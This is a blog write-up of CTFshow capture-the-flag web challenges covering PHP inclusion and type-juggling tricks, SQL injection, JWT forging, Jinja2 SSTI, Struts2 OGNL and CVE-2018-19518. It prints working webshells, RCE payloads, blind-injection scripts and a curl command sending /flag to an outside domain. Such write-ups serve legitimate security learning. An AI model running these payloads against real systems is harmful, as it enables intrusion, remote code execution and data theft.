Tritium

Tritium

CTFshow刷刷刷!

I want to become stronger!

CTFshow VIP question bank is starting!

PHP File Inclusion#

web78#

Bare include without any filtering directly leads to include2shell exploitation.

Oh, this doesn't even require include2shell as these filters are not enabled.

Then just read it directly.

php://filter/convert.base64-encode/resource=flag.php

web79#

Filtered the php field, use data protocol to pass a horse in.

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy4/Pz8iKSA/Pg==

web80#

Damn, they filtered data as well.

But they didn't filter case sensitivity, so using PHP://input and writing a horse with post content allows it to read cat fl0g.php.

web81#

How did byd filter the colon?

This time we need to do proper log inclusion.

nginx log path: /var/log/nginx/access.log

apache log path: /var/log/apache2/access.log

Logs will record URL and UA, since the URL will be encoded, so write a horse in UA.

Change the UA to the PHP command to be executed, it must succeed in one go. If there is a problem, it will cause a fatal error and you can only restart the environment.

In short, set the UA to and access it multiple times to get the result.

web82#

This question filtered the dot, you are ruthless.

Perform a session competition inclusion, see here https://www.freebuf.com/vuls/202819.html

import io
import requests
import threading

sessid = 'tri'

def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://f1510789-decf-456f-bc71-bfcc9b8a693d.challenge.ctf.show/',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system(\"ls\");?>"},
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid}
    )

with requests.session() as session:
    while True:
        POST(session)
        print(f"[+] Successfully wrote sess_{sessid}")

While sending this, include /tmp/sess_SESSID to achieve RCE.

This will not open the competition environment, so first finish writing wp and do not proceed.

First do the non-competitive one.

web87#

There is a line.

file_put_contents(urldecode($file), "<?php die('Don\'t show off, big guy');?>".$content);

A death exit, so some operations are needed to escape this die before writing in the shell.

Here the file can use a pseudo-protocol to construct a write pseudo-protocol with rot13 filter, while pre-rot13 the content to escape die and restore content to its original form.

php://filter/write=string.rot13/resource=2.php

Here it needs to go through url encode twice because it will be passively decoded again.

web88#

preg_match("/php|~|!|@|#|\$|%|^|&|*|(|)|-|_|+|=|./i", $file)

Looks like a lot has been filtered.

In fact, directly using the payload from 79 can pass, just find a password that is base64 encoded and does not contain special characters.

web116#

Untitled.png

Extract png from mp4, it's a screenshot of the source code.

Filtered a bunch, but I found I can directly include flag.php to get the flag.

web117#

Looks a lot like web87? But it filtered rot13, need to find another way to escape the death exit.

Found some methods from https://www.anquanke.com/post/id/202510#h2-14

By using UCS-2 method, reverse the target string by two bits (here 2LE and 2BE can be seen as examples of little-endian and big-endian), which means the constructed malicious code needs to be a multiple of 2 in UCS-2, otherwise it cannot be reversed normally (extra unsatisfied strings will be truncated), so we can use this filter for encoding conversion bypass.

php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell1.php

Is the contents also pre-reversed? <hp pvela$(G_TE'[mc'd)]?;>>

This way we have a webshell.

PHP Features#

This part is just brushing the basics.

web89#

if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }

Classic bypass of pregmatch, here using an array to bypass pregmatch will return false when parameters are invalid.

?num[]=1

web90#

if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

First is a strict comparison to 4476, then uses intval.

The working principle of intval($num,0) is as follows:

If base is 0, it decides which base to use by checking the format of var:

  • If the string includes the prefix "0x" (or "0X"), use hexadecimal (hex); otherwise,
  • If the string starts with "0", use octal; otherwise,
  • It will use decimal (decimal).

Thus, we can construct a payload using base.

?num=0x117c

0x117c converts to decimal as 4476.

web91#

$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

The first line's regex has an extra m modifier, which means multi-line matching.

So we can construct a string with a newline.

In the URL, the newline character is %0a.

So setting cmd=%0aphp can meet the condition.

web92#

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

Can directly use the payload from 90, the principle is the same.

web93#

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

Not allowing the use of base conversion with intval, so we can set num=4476.1, which will truncate the decimal when converting to int.

web94#

if(!strpos($num, "0")){
        die("no no no!");
    }

This question adds a restriction on the previous question, requiring num to contain 0.

So set num=4476.10.

web95#

if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }

The decimal point is banned.

?num=+010574 can bypass using octal, adding a plus sign in front allows intval to recognize it as an integer.

web96#

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

Not allowing direct passing of flag.php, so pass ./flag.php.

web97#

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

Weak comparison for md5, directly bypass using arrays.

a[]=1&b[]=a

web98#

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

? What is this?

This is really low-level, you won't encounter such a question.

1. **`include("flag.php");`**: Attempts to include a file named "flag.php". This file may contain some sensitive information, but we cannot determine its content as it is not provided.
2. **`$_GET?$_GET=&$_POST:'flag';`**: This line is actually checking for the existence of a GET request and setting **`$_GET`** to **`$_POST`**, otherwise setting **`$_GET`** to the string 'flag'.
3. **`$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';`**: If **`$_GET['flag']`** equals 'flag', then set **`$_GET`** to **`$_COOKIE`**, otherwise set **`$_GET`** to the string 'flag'.
4. **`$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';`**: Similar to the previous line, if **`$_GET['flag']`** equals 'flag', then set **`$_GET`** to **`$_SERVER`**, otherwise set **`$_GET`** to the string 'flag'.
5. **`highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);`**: Uses **`highlight_file`** function to highlight the source code of a file. Depending on whether **`$_GET['HTTP_FLAG']`** equals 'flag', it decides whether to display the content of 'flag.php' or the current file.

According to chatgpt's explanation, you just need to pass something randomly into get, then post HTTP_FLAG=flag to see the flag in the error message.

web99#

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

Here we exploit the in_array vulnerability, the default strict mode of this function is false. First, fill the array with some random numbers, so when n starts with a number, weak comparison will ignore the characters after n. Thus, set n=1.php because 1 will definitely be included in allow, so it can legally bypass.

n=1.php&content=<?php system($_POST[1]);?>

web100#

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

v0 has an assignment operation, because the assignment operation has a higher priority than the and operation, so only v1 needs to be a number.

v2 cannot have ; v3 must have; so in v2 use ?> to truncate.

?v1=1
&v2=var_dump($ctfshow)?>
&v3=;

Dump this object, converting 0x2d to - is the flag.

web101#

Modified the regex in 100 to require no numbers and symbols.

You can use echo new Reflectionclass to get the parameters of this class to obtain the flag.

web102#

web110#

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

A native class that only allows letters.

First use

?v1=FilesystemIterator
&v2=getcwd

To get the files in the current directory.

After seeing the flag file, just access this file to see the flag.

web111#

include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

There is a variable variable v1andv1 and v2.

Set v1=ctfshow v2=GLOBALS, so after overwriting, it will vardump GLOBALS and output the variable including the flag.

web112#

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

Use PHP pseudo-protocol to read directly php://filter/resource=flag.php.

web113#

Banned filter, use compress.zlib to read.

web114#

=web112

web115#

In PHP, "36" is equal to "\x0c36", and trim will not filter out \x0c, which is %0c.

function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }

num=%0c36

web123#


include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
     if($fl0g==="flag_give_me"){
         echo $flag; this is purely misleading, you can eval directly to echo flag.

web125#

The question restricts that $c<=16, not the length less than 16, so you can directly eval and then pass the command in get.

web126#

PHP7 cannot directly use assert to execute functions, so use assert($a[0]) ?fl0g=flag_give_me to execute assignment statements.

web127#

highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//Special character detection
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("Hmm?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

Query prohibits passing these characters, so use ctf show to let PHP process illegal parameter names automatically converted to _ to bypass.

web128#

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "Hmm?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

Two layers of user functions without letters or numbers.

Get_defined_vars is similar to GLOBALS, returning an array of all defined variables.

SQLi#

web171#

//Concatenate SQL statement to find the user with the specified ID
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

Simply concatenate directly.

‘ or 1=1 —+

This will make all conditions true and return all accounts.

web172#

Added a layer of checks.

//Check if the result contains flag
    if($row->username!=='flag'){
      $ret['msg']='Query successful';
    }

Therefore, use union to perform a joint query.

1' union select 2,password from ctfshow_user2 --+

Make username always 2.

You can query the result.

web173#

Similar to 172, just changed to three fields, modify it accordingly.

web174#

Prohibits the result from containing flag and numbers, so use boolean blind injection to get the flag.

import requests
from string import ascii_lowercase,digits
word = ascii_lowercase + digits + "_{}-"

url = "http://001f2822-f26a-44bb-a9b6-ad7ed9dbb1a6.challenge.ctf.show/api/v4.php?id="

flag = ""
while True:
    for i in word:
        r = requests.get(url + f"1' AND (SELECT password FROM ctfshow_user4 where username = 'flag') LIKE '{flag + i}%' --+")
        if "admin" in r.text:
            flag += i
            print(flag)
            break

web175#

This question prohibits all ASCII characters, meaning no echo, so boolean blind injection cannot be used. Time-based blind injection can be used instead.

You can also write the result into an external website file using into outfile.

1' union select username , password from ctfshow_user5 where username='flag' into outfile'/var/www/html/ctf.txt' --+

web176#

This question starts with WAF, not sure what it filtered.

Using a' or 1=1 --+ can directly bypass.

web177#

Here the WAF filters spaces, so replace all spaces with /**/ inline comments and use union select to query.

web178#

This question filters all comment symbols, so you can use %0b or %09 to replace spaces.

Or use payloads that do not require spaces.

'or'1'='1'%23

web179#

Still changing the filtering on spaces, so you can use the payload above.

web180#

Prohibits using # to comment out the remaining content of the statement, changed to use --+ where the + needs to be URL encoded to %0c.

JWT#

web345#

Where is the flag? Check the response header, there is an auth cookie giving a jwt and hinting to access admin.

auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MDA1NzIxMjAsImV4cCI6MTcwMDU3OTMyMCwibmJmIjoxNzAwNTcyMTIwLCJzdWIiOiJ1c2VyIiwianRpIjoiMzc0MDIyOWYxYjE3MWRmZTZhNjJjNjMzZjlkMGRiZWUifV0

Untitled.png

Decoding it looks like this, there is no signature for the jwt, just change sub to admin and try.

Using the modified jwt to access admin to obtain the flag.

web346#

auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3MjQ5MCwiZXhwIjoxNzAwNTc5NjkwLCJuYmYiOjE3MDA1NzI0OTAsInN1YiI6InVzZXIiLCJqdGkiOiI4NDQ5YmYyMzQwMWE2OGE3NTk3YTIwOWQ5YzE4NWI1MCJ9.Zx2mZerMpnJTieuQHpYoGqQ8WKIzn36bseFh9oH

Now the jwt has a signature, using the HS256 algorithm, we need to crack the secret key first.

This question tests one of the jwt attack methods where alg is set to none, some backends do not verify the signature when you set the alg in the jwt header to none.

Untitled.png

Using jwttools to generate a modified jwt with admin.

python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3NTk1OCwiZXhwIjoxNzAwNTgzMTU4LCJuYmYiOjE3MDA1NzU5NTgsInN1YiI6ImFkbWluIiwianRpIjoiZTE2NTZhOGU2ZTFkNDVkYWIwOGIzZjhjYmVkYzZkM2MifQ.Y6rVpdFqoNkrP0o1bOlQHpge7SSxdpnyyKET5i34e6U -Xa

Then use -Xa to execute the none attack.

Using this jwt to access will get the flag.

web347#

The question hints at a weak password for jwt, brute force the sk to 123456.

Directly modify admin to access.

web348#

Similarly brute force, the dictionary reveals it to be aaab.

web349#

This is a private key leak question, accessing /private.key can obtain the private key.

Modify it to admin and then sign directly.

web350#

Leaked the publicKey.

This question exploits CVE-2016-5431, which changes RS256 asymmetric encryption to HS256 symmetric encryption, a signature algorithm confusion, but the verification is not strict.

Tried using the jwt package in python but it didn't work, possibly because the internal signing logic is still different.

Using a js script to import the same package.

var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token);

Then use this token to access to get the flag.

SSTI#

Classic summary https://tttang.com/archive/1698/

web361#

The question description is The name is the point, probably a name query SSTI.

?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}

web362#

Added filtering.

The filtering statement is 2|3.

Not sure what it filters, but the above payload can still be used.

web363#

It seems that single quotes are filtered.

So replace the string in single quotes with request.args.a, then use a=os to pass it in.

?name={{self.__init__.__globals__.__builtins__.__import__(request.args.a).popen(request.args.b).read()}}&a=os&b=env

web364#

Tried it out, it banned args.

So use cookies instead.

?name={{self.__init__.__globals__.__builtins__.__import__(request.cookies.a).popen(request.cookies.b).read()}}

At the same time, pass a=os;b=env in cookies.

web365#

This filtered both single and double quotes.

So use request.cookies or request.values instead, here use |attr() to bypass.

The original payload had too many underscores, so find one with fewer to write.

?name={{(lipsum | attr(request.cookies.c)).os.popen(request.cookies.b).read()}}

b=env;c=globals.

web366#

Filtered os.

?name={{(lipsum | attr(request.cookies.c)).get(request.cookies.d).popen(request.cookies.b).read()}}

b=env;c=globals;d=os.

web367#

Filtered {{ and }.

So use {+% and %+} instead, add a print to the original payload.

?name={% print((lipsum | attr(request.cookies.c)).get(request.cookies.d).popen(request.cookies.b).read()) %}

web368#

Filtered request.

{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set read=dict(read=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}

Used a very complicated payload, the basic idea is to get strings of all the necessary parts and save them in variables, get the chr function to concatenate the required command, and finally use these variables to concatenate and execute the command.

web370#

This question filters numbers, so you can use the count filter to obtain.

Another trick is to use full-width numbers instead of half-width numbers.

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("Enter the number string you want to convert: ")
    for i in s:
        t += half2full(i)
    print(t)

Replace all the numbers in the original payload with this.

web371#

This question prohibits print, so you need to find another way to exfiltrate data.

Here you can use curl to access a beacon to exfiltrate data.

The specific command is

curl -X POST -F xx=@/flag domain

@ can read this file and send its contents out.

web372#

Prohibited count, so use the full-width numbers from 370.

I encountered a very comprehensive SSTI question when doing ISCC, here https://blog.csdn.net/c868954104/article/details/131003141

JAVA#

web279#

The question hints at S2-001, directly using struts2 tools to attack.

Untitled.png

web280#

S2-005, similarly attack.

web281#

S2-007, attack.

web282#

S2-008, attack.

web283#

Attack, not sure what I'm doing, this tool is crazy.

web284#

S2-016, universal attack.

web285#

Attack.

web286#

Attack.

web287#

Attack.

web288#

Attack.

web289#

S2-029, this one doesn't have a one-click exploit, I found one online, but the title misled me to S2-032 success.

default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()))

web290#

Attack.

web291#

Attack.

web292#

Attack.

web293#

Attack.

web294#

Attack.

web295#

Also no exploit, found one online.

In the showcase path /integration/saveGangster.action, input OGNL syntax, ${10-7}.

Untitled.png

The result is 3, indicating successful execution.

Then similar to SSTI RCE to take it down.

web296#

Attack.

web297#

Attack.

web298#

Finally not a S2 series universal attack!

This question has a pit! The default path is /, which is a 404, you have to manually jump to ctfshow!

Gave the source code, it needs to satisfy

public boolean getVipStatus() {
        return this.username.equals("admin") && this.password.equals("ctfshow");
    }

Oh.

This low-level question still requires manually adjusting the login directory, with no hints.

/ctfshow/login?username=admin&password=ctfshow

web299#

There is a line of comments.

Untitled.png

But there is no .php, instead reading the commonly used java jsp.

Then scan /WEB-INF/web.xml and find com.ctfshow.servlet.GetFlag.

Try reading.

The corresponding file path is /WEB-INF/classes/com/ctfshow/servlet/GetFlag.class.

Read the source code and find a

Untitled.png

Use ../../../../fl3g to read the flag.

web300#

Similar to the previous question, just wrapped in a php skin. I want to use include2shell to expose its true form.

PHPCVE#

Web312#

  1. Environment

Untitled.png

See it's php5.6.38, an email system.

Query CVE and find CVE-2018-19518.

By setting -oProxyCommand= to call third-party commands, the attacker can inject this parameter, ultimately leading to command execution vulnerabilities.

Usage; first write a one-liner, then base64 encode it and use shell commands to write it into a file.

echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >/var/www/html/1.php

Then write this one-liner base64 into exp.

x -oProxyCommand=echo	"ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+L3Zhci93d3cvaHRtbC8xLnBocA=="|base64	-d|sh}

Fill it in the hostname, note that the front must be x, and it needs to be URL encoded twice.

Untitled.png

Untitled.png

Then you can achieve RCE.

Untitled.png

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.